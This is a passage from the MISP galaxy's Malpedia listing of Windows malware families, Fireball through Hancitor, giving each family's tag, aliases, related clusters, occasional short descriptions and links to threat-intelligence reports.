Fireball has relationships with:

- similar: misp-galaxy:tool="Fireball" with estimative-language:likelihood-probability="likely"

Table 1033. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball
http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/

FireCrypt

The tag is: *misp-galaxy:malpedia="FireCrypt"*

FireCrypt is also known as:

FireCrypt has relationships with:

- similar: misp-galaxy:ransomware="FireCrypt" with estimative-language:likelihood-probability="likely"

Table 1034. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firecrypt
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

FireMalv

The tag is: *misp-galaxy:malpedia="FireMalv"*

FireMalv is also known as:

FireMalv has relationships with:

- similar: misp-galaxy:tool="FireMalv" with estimative-language:likelihood-probability="likely"

Table 1035. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.firemalv
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

FirstRansom

The tag is: *misp-galaxy:malpedia="FirstRansom"*

FirstRansom is also known as:

Table 1036. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.first_ransom
https://twitter.com/JaromirHorejsi/status/815949909648150528

FlawedAmmyy

The tag is: *misp-galaxy:malpedia="FlawedAmmyy"*

FlawedAmmyy is also known as:

FlawedAmmyy has relationships with:

- similar: misp-galaxy:rat="FlawedAmmyy" with estimative-language:likelihood-probability="likely"

Table 1037. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy
https://github.com/Coldzer0/Ammyy-v3
https://secrary.com/ReversingMalware/AMMY_RAT_Downloader/
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat
https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat

FlexiSpy

The tag is: *misp-galaxy:malpedia="FlexiSpy"*

FlexiSpy is also known as:

Table 1038. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

FlokiBot

The tag is: *misp-galaxy:malpedia="FlokiBot"*

FlokiBot is also known as:

Table 1039. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.floki_bot
http://blog.talosintel.com/2016/12/flokibot-collab.html#more
https://www.cylance.com/en_us/blog/threat-spotlight-flokibot-pos-malware.html
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/
http://adelmas.com/blog/flokibot.php
https://www.arbornetworks.com/blog/asert/flokibot-invades-pos-trouble-brazil/
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/
https://www.flashpoint-intel.com/blog/cybercrime/floki-bot-emerges-new-malware-kit/
https://www.flashpoint-intel.com/flokibot-curious-case-brazilian-connector/

Floxif

The tag is: *misp-galaxy:malpedia="Floxif"*

Floxif is also known as:

Table 1040. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif
https://www.virusbulletin.com/virusbulletin/2012/12/compromised-library

Flusihoc

Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text.

The tag is: *misp-galaxy:malpedia="Flusihoc"*

Flusihoc is also known as:

Table 1041. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc
https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/

Fobber

The tag is: *misp-galaxy:malpedia="Fobber"*

Fobber is also known as:

Fobber has relationships with:

- similar: misp-galaxy:banker="Fobber" with estimative-language:likelihood-probability="likely"

Table 1042. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber
http://blog.wizche.ch/fobber/malware/analysis/2015/08/10/fobber-encryption.html
http://www.govcert.admin.ch/downloads/whitepapers/govcertch_fobber_analysis.pdf
https://blog.malwarebytes.com/threat-analysis/2015/06/elusive-hanjuan-ek-caught-in-new-malvertising-campaign/
https://www.govcert.admin.ch/blog/12/analysing-a-new-ebanking-trojan-called-fobber
http://byte-atlas.blogspot.ch/2015/08/knowledge-fragment-unwrapping-fobber.html

Formbook

FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.

The tag is: *misp-galaxy:malpedia="Formbook"*

Formbook is also known as:

Table 1043. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/
http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html
https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/
https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/

http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html
https://blog.talosintelligence.com/2018/06/my-little-formbook.html

FormerFirstRAT

The tag is: *misp-galaxy:malpedia="FormerFirstRAT"*

FormerFirstRAT is also known as:

- ffrat

Table 1044. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat
https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/

Freenki Loader

The tag is: *misp-galaxy:malpedia="Freenki Loader"*

Freenki Loader is also known as:

Table 1045. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

FriedEx

The tag is: *misp-galaxy:malpedia="FriedEx"*

FriedEx is also known as:

- BitPaymer

Table 1046. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/

Furtim

The tag is: *misp-galaxy:malpedia="Furtim"*

Furtim is also known as:

Table 1047. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4341&sid=af76b944112a234fa933cc934d21cd9f
https://sentinelone.com/blogs/sfg-furtims-parent/

GalaxyLoader

GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.

It seems to make use of iplogger.com for tracking. It employed WMI to check the system for - IWbemServices::ExecQuery - SELECT * FROM Win32_Processor - IWbemServices::ExecQuery - select * from Win32_VideoController - IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct

The tag is: *misp-galaxy:malpedia="GalaxyLoader"*

GalaxyLoader is also known as:

Table 1048. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader

gamapos

The tag is: *misp-galaxy:malpedia="gamapos"*

gamapos is also known as:

- pios

Table 1049. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos
http://documents.trendmicro.com/assets/GamaPOS_Technical_Brief.pdf

Gameover DGA

The tag is: *misp-galaxy:malpedia="Gameover DGA"*

Gameover DGA is also known as:

Table 1050. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga

Gameover P2P

Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.

The tag is: *misp-galaxy:malpedia="Gameover P2P"*

Gameover P2P is also known as:

- ZeuS P2P
- GOZ

Table 1051. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p
https://www.wired.com/?p=2171700
https://www.fox-it.com/nl/wp-content/uploads/sites/12/FoxIT-Whitepaper_Blackhat-web.pdf
http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf
https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware
https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf

Gamotrol

The tag is: *misp-galaxy:malpedia="Gamotrol"*

Gamotrol is also known as:

Table 1052. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol

win.gandcrab

The tag is: *misp-galaxy:malpedia="win.gandcrab"*

win.gandcrab is also known as:

- GrandCrab

Table 1053. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/
https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/
https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/
http://asec.ahnlab.com/1145
http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/
https://isc.sans.edu/diary/23417
https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html
http://csecybsec.com/download/zlab/20181001_CSE_GandCrabv5.pdf
https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/

Gaudox

Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).

The tag is: *misp-galaxy:malpedia="Gaudox"*

Gaudox is also known as:

Table 1054. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox
http://nettoolz.blogspot.ch/2016/03/gaudox-http-bot-1101-casm-ring3-rootkit.html

Gauss

The tag is: *misp-galaxy:malpedia="Gauss"*

Gauss is also known as:

Table 1055. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss
http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html

Gazer

The tag is: *misp-galaxy:malpedia="Gazer"*

Gazer is also known as:

- WhiteBear

Gazer has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Gazer - S0168" with estimative-language:likelihood-probability="likely"

Table 1056. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer
https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/
https://securelist.com/introducing-whitebear/81638/
https://www.youtube.com/watch?v=Pvzhtjl86wc
https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
https://github.com/eset/malware-ioc/tree/master/turla

gcman

The tag is: *misp-galaxy:malpedia="gcman"*

gcman is also known as:

Table 1057. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

GearInformer

The tag is: *misp-galaxy:malpedia="GearInformer"*

GearInformer is also known as:

Table 1058. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer
https://wapacklabs.blogspot.ch/2017/02/rebranding-ispy-keylogger-gear-informer.html
https://www.rekings.com/ispy-customers/

Geodo

The tag is: *misp-galaxy:malpedia="Geodo"*

Geodo is also known as:

- Emotet
- Heodo

Geodo has relationships with:

- similar: misp-galaxy:tool="Emotet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Geodo" with estimative-language:likelihood-probability="likely"

Table 1059. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.geodo
https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/
http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/
https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html
https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/
https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc
https://research.checkpoint.com/emotet-tricky-trojan-git-clones/
https://www.cert.pl/en/news/single/analysis-of-emotet-v4/
https://www.fidelissecurity.com/threatgeek/2017/07/emotet-takes-wing-spreader
https://www.us-cert.gov/ncas/alerts/TA18-201A
https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/
https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor
https://feodotracker.abuse.ch/?filter=version_e
https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus

https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/
http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1

GetMail

The tag is: *misp-galaxy:malpedia="GetMail"*

GetMail is also known as:

Table 1060. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

GetMyPass

The tag is: *misp-galaxy:malpedia="GetMyPass"*

GetMyPass is also known as:

- getmypos

Table 1061. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass
https://securitykitten.github.io/2014/11/26/getmypass-point-of-sale-malware.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware
https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/
https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html

Ghole

The tag is: *misp-galaxy:malpedia="Ghole"*

Ghole is also known as:

- CoreImpact (Modified)

Table 1062. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole

https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf
https://www.coresecurity.com/core-impact

Gh0stnet

The tag is: *misp-galaxy:malpedia="Gh0stnet"*

Gh0stnet is also known as:

- Remosh

Table 1063. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html
https://en.wikipedia.org/wiki/GhostNet

GhostAdmin

The tag is: *misp-galaxy:malpedia="GhostAdmin"*

GhostAdmin is also known as:

- Ghost iBot

GhostAdmin has relationships with:

- similar: misp-galaxy:tool="GhostAdmin" with estimative-language:likelihood-probability="likely"

Table 1064. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin
https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/
https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html

Ghost RAT

The tag is: *misp-galaxy:malpedia="Ghost RAT"*

Ghost RAT is also known as:

- PCRat

- Gh0st RAT

Ghost RAT has relationships with:

- similar: misp-galaxy:rat="Gh0st RAT" with estimative-language:likelihood-probability="likely"

Table 1065. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat
https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf
https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
http://www.malware-traffic-analysis.net/2018/01/04/index.html
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/
http://www.hexblog.com/?p=1248
https://blog.cylance.com/the-ghost-dragon

Glasses

The tag is: *misp-galaxy:malpedia="Glasses"*

Glasses is also known as:

- Wordpress Bruteforcer

Table 1066. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses
https://forum.exploit.in/pda/index.php/t102378.html

GlassRAT

The tag is: *misp-galaxy:malpedia="GlassRAT"*

GlassRAT is also known as:

Table 1067. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat
https://community.rsa.com/community/products/netwitness/blog/2015/11/25/detecting-glassrat-using-security-analytics-and-ecat

GlobeImposter

The tag is: *misp-galaxy:malpedia="GlobeImposter"*

GlobeImposter is also known as:

GlobeImposter has relationships with:

- similar: misp-galaxy:ransomware="Fake Globe Ransomware" with estimative-language:likelihood-probability="likely"

Table 1068. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter
https://blog.ensilo.com/globeimposter-ransomware-technical
https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet
https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/
https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant
https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run
https://isc.sans.edu/diary/23417

Globe

The tag is: *misp-galaxy:malpedia="Globe"*

Globe is also known as:

Table 1069. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom

GlooxMail

The tag is: *misp-galaxy:malpedia="GlooxMail"*

GlooxMail is also known as:

Table 1070. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

win.glupteba

The tag is: *misp-galaxy:malpedia="win.glupteba"*

win.glupteba is also known as:

Table 1071. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba
https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/
https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/
http://malwarefor.me/2015-04-13-nuclear-ek-glupteba-and-operation-windigo/
http://resources.infosecinstitute.com/tdss4-part-1/

Godzilla Loader

The tag is: *misp-galaxy:malpedia="Godzilla Loader"*

Godzilla Loader is also known as:

Table 1072. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4349&p=28427#p28346

Goggles

The tag is: *misp-galaxy:malpedia="Goggles"*

Goggles is also known as:

Table 1073. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

GoldenEye

The tag is: *misp-galaxy:malpedia="GoldenEye"*

GoldenEye is also known as:

- Petya/Mischa

Table 1074. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye
http://www.threatgeek.com/2017/02/spying-on-goldeneye-ransomware.html
https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/

GoldDragon

The tag is: *misp-galaxy:malpedia="GoldDragon"*

GoldDragon is also known as:

Table 1075. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon
https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Golroted

The tag is: *misp-galaxy:malpedia="Golroted"*

Golroted is also known as:

Table 1076. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted
http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html

Goodor

The tag is: *misp-galaxy:malpedia="Goodor"*

Goodor is also known as:

- Fuerboos

Table 1077. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor
https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control

GoogleDrive RAT

The tag is: *misp-galaxy:malpedia="GoogleDrive RAT"*

GoogleDrive RAT is also known as:

Table 1078. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat
https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf

GooPic Drooper

The tag is: *misp-galaxy:malpedia="GooPic Drooper"*

GooPic Drooper is also known as:

Table 1079. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic
https://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/

GootKit

Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks.

The tag is: *misp-galaxy:malpedia="GootKit"*

GootKit is also known as:

- talalpek
- Xswkit

GootKit has relationships with:

- similar: misp-galaxy:tool="GootKit" with estimative-language:likelihood-probability="likely"

Table 1080. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit
https://www.lexsi.com/securityhub/homer-simpson-brian-krebs-rencontrent-zeus-gootkit/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3669
https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/
https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps
https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/
https://www.us-cert.gov/ncas/alerts/TA16-336A
https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/
https://www.youtube.com/watch?v=242Tn0IL2jE
http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html
https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/
http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/
http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html
https://news.drweb.com/show/?i=4338&lng=en
https://www.cyphort.com/angler-ek-leads-to-fileless-gootkit/
https://www.youtube.com/watch?v=QgUlPvEE4aw
https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055

GovRAT

The tag is: *misp-galaxy:malpedia="GovRAT"*

GovRAT is also known as:

GovRAT has relationships with:

- similar: misp-galaxy:rat="GovRAT" with estimative-language:likelihood-probability="likely"

Table 1081. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat
https://www.yumpu.com/en/document/view/55930175/govrat-v20

Gozi

2000 Ursnif aka Snifula 2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) → 2010 Gozi Prinimalka → Vawtrak/Neverquest

In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.

In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.

The tag is: *misp-galaxy:malpedia="Gozi"*

Gozi is also known as:

- CRM
- Gozi CRM
- Papras
- Snifula
- Ursnif

Gozi has relationships with:

- similar: misp-galaxy:tool="Snifula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Gozi" with estimative-language:likelihood-probability="likely"

Table 1082. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi
https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007
http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/
https://www.secureworks.com/research/gozi
https://lokalhost.pl/gozi_tree.txt
http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html

GPCode

The tag is: *misp-galaxy:malpedia="GPCode"*

GPCode is also known as:

GPCode has relationships with:

- similar: misp-galaxy:ransomware="OMG! Ransomware" with estimative-language:likelihood-probability="likely"

Table 1083. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode
https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2
http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html
https://de.securelist.com/analysis/59479/erpresser/
ftp://ftp.tuwien.ac.at/languages/php/oldselfphp/internet-security/analysen/index-id-200883584.html
http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/

GrabBot

The tag is: *misp-galaxy:malpedia="GrabBot"*

GrabBot is also known as:

Table 1084. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot
http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data

Graftor

The tag is: *misp-galaxy:malpedia="Graftor"*

Graftor is also known as:

Graftor has relationships with:

- similar: misp-galaxy:tool="Aumlib" with estimative-language:likelihood-probability="likely"

Table 1085. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor
http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html

Grateful POS

POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card's magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system's memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.

The tag is: *misp-galaxy:malpedia="Grateful POS"*

Grateful POS is also known as:

- FrameworkPOS
- trinity

Table 1086. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf
http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

Gratem

The tag is: *misp-galaxy:malpedia="Gratem"*

Gratem is also known as:

Table 1087. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose

Gravity RAT

The tag is: *misp-galaxy:malpedia="Gravity RAT"*

Gravity RAT is also known as:

Table 1088. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat
https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

GreenShaitan

The tag is: *misp-galaxy:malpedia="GreenShaitan"*

GreenShaitan is also known as:

- eoehttp

Table 1089. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan
https://blog.cylance.com/spear-a-threat-actor-resurfaces

GROK

The tag is: *misp-galaxy:malpedia="GROK"*

GROK is also known as:

Table 1090. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.grok
https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf

gsecdump

The tag is: *misp-galaxy:malpedia="gsecdump"*

gsecdump is also known as:

gsecdump has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="gsecdump - S0008" with estimative-language:likelihood-probability="likely"

Table 1091. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump
https://attack.mitre.org/wiki/Technique/T1003

H1N1 Loader

The tag is: *misp-galaxy:malpedia="H1N1 Loader"*

H1N1 Loader is also known as:

Table 1092. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1
https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities

Hacksfase

The tag is: *misp-galaxy:malpedia="Hacksfase"*

Hacksfase is also known as:

Table 1093. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

HackSpy

Py2Exe based tool as found on github.

The tag is: *misp-galaxy:malpedia="HackSpy"*

HackSpy is also known as:

Table 1094. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy
https://github.com/ratty3697/HackSpy-Trojan-Exploit

Hamweq

The tag is: *misp-galaxy:malpedia="Hamweq"*

Hamweq is also known as:

Table 1095. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq
https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf

Hancitor

The tag is: *misp-galaxy:malpedia="Hancitor"*

Hancitor is also known as:

- Chanitor

Hancitor has relationships with:

- similar: misp-galaxy:tool="Hancitor" with estimative-language:likelihood-probability="likely"

Table 1096. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor
http://www.morphick.com/resources/lab-blog/closer-look-hancitor
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear
https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader
